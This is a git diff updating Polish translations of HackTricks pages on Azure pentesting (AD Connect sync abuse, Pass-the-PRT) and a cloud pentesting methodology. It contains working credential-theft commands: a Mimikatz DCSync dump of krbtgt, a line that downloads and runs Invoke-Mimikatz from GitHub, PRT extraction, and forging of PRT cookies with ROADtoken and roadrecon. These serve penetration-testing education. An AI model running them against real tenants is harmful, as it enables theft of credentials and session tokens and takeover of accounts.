 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
 ```
-> [!CAUTION]
-> Możesz również użyć [**adconnectdump**](https://github.com/dirkjanm/adconnectdump), aby uzyskać te poświadczenia.
+> [!OSTRZEŻENIE]
+> Możesz również użyć [**adconnectdump**](https://github.com/dirkjanm/adconnectdump), aby uzyskać te dane uwierzytelniające.
 
 ### Wykorzystywanie Sync\_\*
 
@@ -94,7 +94,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
 Możliwe jest również zrzucenie hasła tego użytkownika.
 
 > [!CAUTION]
-> Inną opcją byłoby **przyznanie uprawnień uprzywilejowanych dla principal usługi**, co użytkownik **Sync** ma **uprawnienia** do zrobienia, a następnie **uzyskanie dostępu do tej principal usługi** jako sposób na privesc.
+> Inną opcją byłoby **przyznanie uprawnień uprzywilejowanych dla principal usługi**, co użytkownik **Sync** ma **uprawnienia** do zrobienia, a następnie **uzyskanie dostępu do tego principal usługi** jako sposób na privesc.
 
 ### Seamless SSO
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
index 83aaa2c2e..03807652a 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -22,7 +22,7 @@ W tym samym wyniku możesz również zobaczyć, czy **urządzenie jest dołączo
 
 ## PRT Cookie
 
-Ciasteczko PRT nazywa się właściwie **`x-ms-RefreshTokenCredential`** i jest to JSON Web Token (JWT). JWT zawiera **3 części**, **nagłówek**, **ładunek** i **podpis**, podzielone kropką `.` i wszystkie zakodowane w bezpiecznym dla URL base64. Typowe ciasteczko PRT zawiera następujący nagłówek i ciało:
+Ciasteczko PRT nazywa się właściwie **`x-ms-RefreshTokenCredential`** i jest to JSON Web Token (JWT). JWT zawiera **3 części**, **nagłówek**, **ładunek** i **podpis**, podzielone przez `.` i wszystkie zakodowane w bezpiecznym dla URL formacie base64. Typowe ciasteczko PRT zawiera następujący nagłówek i ciało:
 ```json
 {
 "alg": "HS256",
@@ -34,33 +34,33 @@ Ciasteczko PRT nazywa się właściwie **`x-ms-RefreshTokenCredential`** i jest
 "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
 }
 ```
-The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page.
+Aktualny **Primary Refresh Token (PRT)** jest enkapsulowany w **`refresh_token`**, który jest szyfrowany kluczem kontrolowanym przez Azure AD, co sprawia, że jego zawartość jest nieprzezroczysta i nie do odszyfrowania dla nas. Pole **`is_primary`** oznacza enkapsulację głównego tokena odświeżania w tym tokenie. Aby zapewnić, że ciasteczko pozostaje związane z konkretną sesją logowania, `request_nonce` jest przesyłany z strony `logon.microsoftonline.com`.
 
-### PRT Cookie flow using TPM
+### Przepływ ciasteczka PRT z użyciem TPM
 
-The **LSASS** process will send to the TPM the **KDF context**, and the TPM will used **session key** (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to **derivate** a **key,** and this **derived key** is used to **sign the PRT cookie (JWT).**
+Proces **LSASS** wyśle do TPM **KDF context**, a TPM użyje **session key** (zgromadzonego, gdy urządzenie zostało zarejestrowane w AzureAD i przechowywanego w TPM) oraz poprzedniego kontekstu, aby **wyprowadzić** **klucz**, a ten **wyprowadzony klucz** jest używany do **podpisania ciasteczka PRT (JWT).**
 
-The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed with a **context** (random bytes).
+**KDF context** to nonce z AzureAD i PRT tworzący **JWT** zmieszany z **kontekstem** (losowe bajty).
 
-Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**.
+Dlatego, nawet jeśli PRT nie może być wyodrębniony, ponieważ znajduje się wewnątrz TPM, możliwe jest nadużycie LSASS do **żądania wyprowadzonych kluczy z nowych kontekstów i użycia wygenerowanych kluczy do podpisywania ciasteczek**.
 
 <figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
 
-## PRT Abuse Scenarios
+## Scenariusze nadużycia PRT
 
-As a **regular user** it's possible to **request PRT usage** by asking LSASS for SSO data.\
-This can be done like **native apps** which request tokens from **Web Account Manager** (token broker). WAM pasess the request to **LSASS**, which asks for tokens using signed PRT assertion. Or it can be down with **browser based (web) flow**s where a **PRT cookie** is used as **header** to authenticate requests to Azure AS login pages.
+Jako **zwykły użytkownik** możliwe jest **żądanie użycia PRT** poprzez zapytanie LSASS o dane SSO.\
+Można to zrobić jak **aplikacje natywne**, które żądają tokenów od **Web Account Manager** (broker tokenów). WAM przekazuje żądanie do **LSASS**, które prosi o tokeny używając podpisanej asercji PRT. Można to również zrobić za pomocą **przepływów opartych na przeglądarkach (web)**, gdzie **ciasteczko PRT** jest używane jako **nagłówek** do uwierzytelniania żądań do stron logowania Azure AS.
 
-As **SYSTEM** you could **steal the PRT if not protected** by TPM or **interact with PRT keys in LSASS** using crypto APIs.
+Jako **SYSTEM** możesz **ukraść PRT, jeśli nie jest chroniony** przez TPM lub **interagować z kluczami PRT w LSASS** używając API kryptograficznych.
 
-## Pass-the-PRT Attack Examples
+## Przykłady ataków Pass-the-PRT
 
-### Attack - ROADtoken
+### Atak - ROADtoken
 
-For more info about this way [**check this post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**.
+Aby uzyskać więcej informacji na ten temat [**sprawdź ten post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken uruchomi **`BrowserCore.exe`** z odpowiedniego katalogu i użyje go do **uzyskania ciasteczka PRT**. To ciasteczko może być następnie użyte z ROADtools do uwierzytelnienia i **uzyskania trwałego tokena odświeżania**.
 
-To generate a valid PRT cookie the first thing you need is a nonce.\
-You can get this with:
+Aby wygenerować ważne ciasteczko PRT, pierwszą rzeczą, której potrzebujesz, jest nonce.\
+Możesz to uzyskać za pomocą:
 ```powershell
 $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
 $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -80,7 +80,7 @@ Lub używając [**roadrecon**](https://github.com/dirkjanm/ROADtools):
 ```powershell
 roadrecon auth prt-init
 ```
-Następnie możesz użyć [**roadtoken**](https://github.com/dirkjanm/ROADtoken), aby uzyskać nowy PRT (uruchom w narzędziu z procesu użytkownika, którego chcesz zaatakować):
+Możesz wtedy użyć [**roadtoken**](https://github.com/dirkjanm/ROADtoken), aby uzyskać nowy PRT (uruchom w narzędziu z procesu użytkownika, którego chcesz zaatakować):
 ```powershell
 .\ROADtoken.exe <nonce>
 ```
@@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
 # Verify access and connect with Az. You can see account id in mimikatz prt output
 Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
 ```
-Przejdź do [https://login.microsoftonline.com](https://login.microsoftonline.com), wyczyść wszystkie ciasteczka dla login.microsoftonline.com i wprowadź nowe ciasteczko.
+Przejdź do [https://login.microsoftonline.com](https://login.microsoftonline.com), wyczyść wszystkie pliki cookie dla login.microsoftonline.com i wprowadź nowe ciasteczko.
 ```
 Name: x-ms-RefreshTokenCredential
 Value: [Paste your output from above]
@@ -163,7 +163,7 @@ Następnie przejdź do [https://portal.azure.com](https://portal.azure.com)
 Możesz znaleźć **szczegółowe wyjaśnienie przeprowadzonego procesu** w celu wyodrębnienia tych szczegółów tutaj: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
 
 > [!WARNING]
-> To nie zadziała dokładnie po poprawkach z sierpnia 2021 roku, aby uzyskać tokeny PRT innych użytkowników, ponieważ tylko użytkownik może uzyskać swój PRT (lokalny administrator nie ma dostępu do PRT innych użytkowników), ale może uzyskać dostęp do swojego.
+> To nie zadziała dokładnie po poprawkach z sierpnia 2021 roku, aby uzyskać tokeny PRT innych użytkowników, ponieważ tylko użytkownik może uzyskać swój PRT (lokalny administrator nie może uzyskać dostępu do PRT innych użytkowników), ale może uzyskać dostęp do swojego.
 
 Możesz użyć **mimikatz** do wyodrębnienia PRT:
 ```powershell
@@ -175,7 +175,7 @@ Sekurlsa::cloudap
 iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
 Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
 ```
-(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
+(Obrazy z https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
 
 <figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
 
@@ -219,7 +219,7 @@ HttpOnly: Set to True (checked)
 ```
 - Następnie przejdź do [https://portal.azure.com](https://portal.azure.com)
 
-> [!CAUTION]
+> [!OSTRZEŻENIE]
 > Reszta powinna być domyślnymi ustawieniami. Upewnij się, że możesz odświeżyć stronę i ciasteczko nie znika; jeśli tak, mogłeś popełnić błąd i musisz przejść przez proces ponownie. Jeśli nie znika, powinno być w porządku.
 
 #### Opcja 2 - roadrecon używając PRT
@@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth
 
 #### Opcja 3 - roadrecon używając kluczy pochodnych
 
-Mając kontekst i klucz pochodny zrzutowany przez mimikatz, możliwe jest użycie roadrecon do wygenerowania nowego podpisanego ciasteczka z:
+Mając kontekst i klucz pochodny zrzucany przez mimikatz, możliwe jest użycie roadrecon do wygenerowania nowego podpisanego ciasteczka z:
 ```bash
 roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
 ```
diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
index b290f8daa..f4be5d3b9 100644
--- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
@@ -1,7 +1,7 @@
-# Az - Permissions for a Pentest
+# Az - Uprawnienia do Pentestu
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Aby rozpocząć testy, powinieneś mieć dostęp z użytkownikiem z **uprawnieniami Czytelnika do subskrypcji** oraz **rolą Global Reader w AzureAD**. Jeśli nawet w tym przypadku **nie możesz uzyskać dostępu do zawartości kont Storage**, możesz to naprawić za pomocą **roli Storage Account Contributor**.
+Aby rozpocząć testy, powinieneś mieć dostęp z użytkownikiem z **uprawnieniami Czytelnika do subskrypcji** oraz **rolą Global Reader w AzureAD**. Jeśli nawet w tym przypadku **nie masz dostępu do zawartości kont Storage**, możesz to naprawić za pomocą **roli Storage Account Contributor**.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 6a9f0bddf..fcf969ab7 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -1,4 +1,4 @@
-# Pentesting Cloud Methodology
+# Metodologia Pentestingu w Chmurze
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -10,27 +10,27 @@ Każda chmura ma swoje własne szczególności, ale ogólnie istnieje kilka **ws
 
 - **Sprawdzanie standardów**
 - To pomoże Ci **zrozumieć rozmiar** środowiska i **używane usługi**
-- Pozwoli Ci to również znaleźć kilka **szybkich błędów konfiguracyjnych**, ponieważ większość tych testów można przeprowadzić za pomocą **automatycznych narzędzi**
+- Pozwoli to również znaleźć kilka **szybkich błędów konfiguracyjnych**, ponieważ większość tych testów można przeprowadzić za pomocą **automatycznych narzędzi**
 - **Enumaracja usług**
-- Prawdopodobnie nie znajdziesz tutaj wielu dodatkowych błędów konfiguracyjnych, jeśli poprawnie przeprowadziłeś testy standardów, ale możesz znaleźć niektóre, które nie były brane pod uwagę w teście standardów.
+- Prawdopodobnie nie znajdziesz wielu więcej błędów konfiguracyjnych, jeśli poprawnie przeprowadziłeś testy standardów, ale możesz znaleźć niektóre, które nie były brane pod uwagę w teście standardów.
 - To pozwoli Ci wiedzieć **co dokładnie jest używane** w środowisku chmurowym
-- To bardzo pomoże w kolejnych krokach
+- To bardzo pomoże w następnych krokach
 - **Sprawdź wystawione zasoby**
-- Można to zrobić podczas poprzedniej sekcji, musisz **dowiedzieć się, co jest potencjalnie wystawione** w jakiś sposób na Internet i jak można to uzyskać.
+- Można to zrobić podczas poprzedniej sekcji, musisz **dowiedzieć się, co jest potencjalnie wystawione** w jakiś sposób do Internetu i jak można to uzyskać.
 - Tutaj mam na myśli **ręcznie wystawioną infrastrukturę**, taką jak instancje z stronami internetowymi lub innymi portami, które są wystawione, a także inne **usługi zarządzane w chmurze, które mogą być skonfigurowane** do wystawienia (takie jak bazy danych lub kosze)
 - Następnie powinieneś sprawdzić **czy ten zasób może być wystawiony czy nie** (informacje poufne? luki? błędy konfiguracyjne w wystawionej usłudze?)
 - **Sprawdź uprawnienia**
-- Tutaj powinieneś **dowiedzieć się o wszystkich uprawnieniach każdego roli/użytkownika** w chmurze i jak są one używane
+- Tutaj powinieneś **dowiedzieć się o wszystkich uprawnieniach każdej roli/użytkownika** w chmurze i jak są one używane
 - Zbyt **wiele wysoko uprzywilejowanych** (kontrolujących wszystko) kont? Wygenerowane klucze, które nie są używane?... Większość tych sprawdzeń powinna być już wykonana w testach standardów
 - Jeśli klient korzysta z OpenID lub SAML lub innej **federacji**, możesz potrzebować poprosić ich o dodatkowe **informacje** na temat **jak każda rola jest przypisywana** (to nie to samo, co przypisanie roli administratora do 1 użytkownika lub do 100)
 - **Nie wystarczy znaleźć**, którzy użytkownicy mają **uprawnienia administratora** "\*:\*". Istnieje wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**.
-- Co więcej, istnieją **potencjalne ścieżki privesc**, które można śledzić, nadużywając uprawnień. Wszystkie te rzeczy powinny być brane pod uwagę, a **jak najwięcej ścieżek privesc powinno być zgłoszonych**.
+- Co więcej, istnieją **potencjalne ścieżki privesc**, które można śledzić, nadużywając uprawnień. Wszystkie te rzeczy powinny być brane pod uwagę, a **jak najwięcej ścieżek privesc** powinno być zgłoszonych.
 - **Sprawdź integracje**
 - Jest bardzo prawdopodobne, że **integracje z innymi chmurami lub SaaS** są używane w środowisku chmurowym.
 - Dla **integracji chmury, którą audytujesz** z inną platformą powinieneś powiadomić **kto ma dostęp do (nadużywania) tej integracji** i powinieneś zapytać **jak wrażliwa** jest wykonywana akcja.\
 Na przykład, kto może pisać w koszu AWS, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest akcja w GCP w związku z tymi danymi).
 - Dla **integracji wewnątrz chmury, którą audytujesz** z zewnętrznych platform, powinieneś zapytać **kto ma dostęp zewnętrzny do (nadużywania) tej integracji** i sprawdzić, jak te dane są używane.\
-Na przykład, jeśli usługa korzysta z obrazu Dockera hostowanego w GCR, powinieneś zapytać, kto ma dostęp do jego modyfikacji i jakie wrażliwe informacje oraz dostęp uzyska ten obraz po uruchomieniu w chmurze AWS.
+Na przykład, jeśli usługa korzysta z obrazu Dockera hostowanego w GCR, powinieneś zapytać, kto ma dostęp do modyfikacji tego obrazu i jakie wrażliwe informacje oraz dostęp uzyska ten obraz po uruchomieniu w chmurze AWS.
 
 ## Narzędzia Multi-Cloud
 
@@ -91,7 +91,7 @@ prowler <provider> --list-services
 AWS, Azure, Github, Google, Oracle, Alibaba
 
 {{#tabs }}
-{{#tab name="Instalacja" }}
+{{#tab name="Install" }}
 ```bash
 # Install
 git clone https://github.com/aquasecurity/cloudsploit.git
@@ -115,7 +115,7 @@ npm install
 AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
 
 {{#tabs }}
-{{#tab name="Instalacja" }}
+{{#tab name="Zainstaluj" }}
 ```bash
 mkdir scout; cd scout
 virtualenv -p python3 venv
@@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Aby sprawdzić **inne informacje GCP** (przydatne do enumeracji usług) użyj: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Aby sprawdzić **inne informacje GCP** (przydatne do enumeracji usług), użyj: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
 Aby sprawdzić kod Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
@@ -242,7 +242,7 @@ Nessus ma skan _**Audit Cloud Infrastructure**_ wspierający: AWS, Azure, Office
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist to **narzędzie multi-cloud do pozyskiwania zasobów** (nazwy hostów, adresy IP) od dostawców chmury.
+Cloudlist to **narzędzie multi-cloud do uzyskiwania zasobów** (nazwy hostów, adresy IP) od dostawców chmury.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -376,7 +376,7 @@ Narzędzie do znajdowania infrastruktury, plików i aplikacji firmy (cel) na czo
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox to narzędzie do znajdowania wykorzystywalnych ścieżek ataku w infrastrukturze chmurowej (obecnie wspierane tylko AWS i Azure, GCP wkrótce).
+- CloudFox to narzędzie do znajdowania podatnych ścieżek ataku w infrastrukturze chmurowej (obecnie wspierane tylko AWS i Azure, GCP wkrótce).
 - Jest to narzędzie do enumeracji, które ma na celu uzupełnienie ręcznego pentestingu.
 - Nie tworzy ani nie modyfikuje żadnych danych w środowisku chmurowym.
 
@@ -412,10 +412,10 @@ azure-security/
 
 ### Attack Graph
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter)tworzy „graf ataku” zasobów w subskrypcji Azure. Umożliwia zespołom red i pentesterom wizualizację powierzchni ataku i możliwości pivotowania w obrębie najemcy, a także wspomaga obrońców w szybkim orientowaniu się i priorytetyzowaniu pracy związanej z odpowiedzią na incydenty.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter)tworzy "graf ataku" zasobów w subskrypcji Azure. Umożliwia zespołom red i pentesterom wizualizację powierzchni ataku i możliwości pivotowania w obrębie najemcy, a także wspomaga obrońców w szybkim orientowaniu się i priorytetyzowaniu pracy związanej z odpowiedzią na incydenty.
 
 ### Office365
 
-Potrzebujesz **Global Admin** lub przynajmniej **Global Admin Reader** (ale zauważ, że Global Admin Reader jest nieco ograniczony). Jednak te ograniczenia pojawiają się w niektórych modułach PS i można je obejść, uzyskując dostęp do funkcji **za pośrednictwem aplikacji internetowej**.
+Potrzebujesz **Global Admin** lub przynajmniej **Global Admin Reader** (ale zauważ, że Global Admin Reader jest nieco ograniczony). Jednak te ograniczenia pojawiają się w niektórych modułach PS i można je obejść, uzyskując dostęp do funkcji **za pośrednictwem aplikacji webowej**.
 
 {{#include ../banners/hacktricks-training.md}}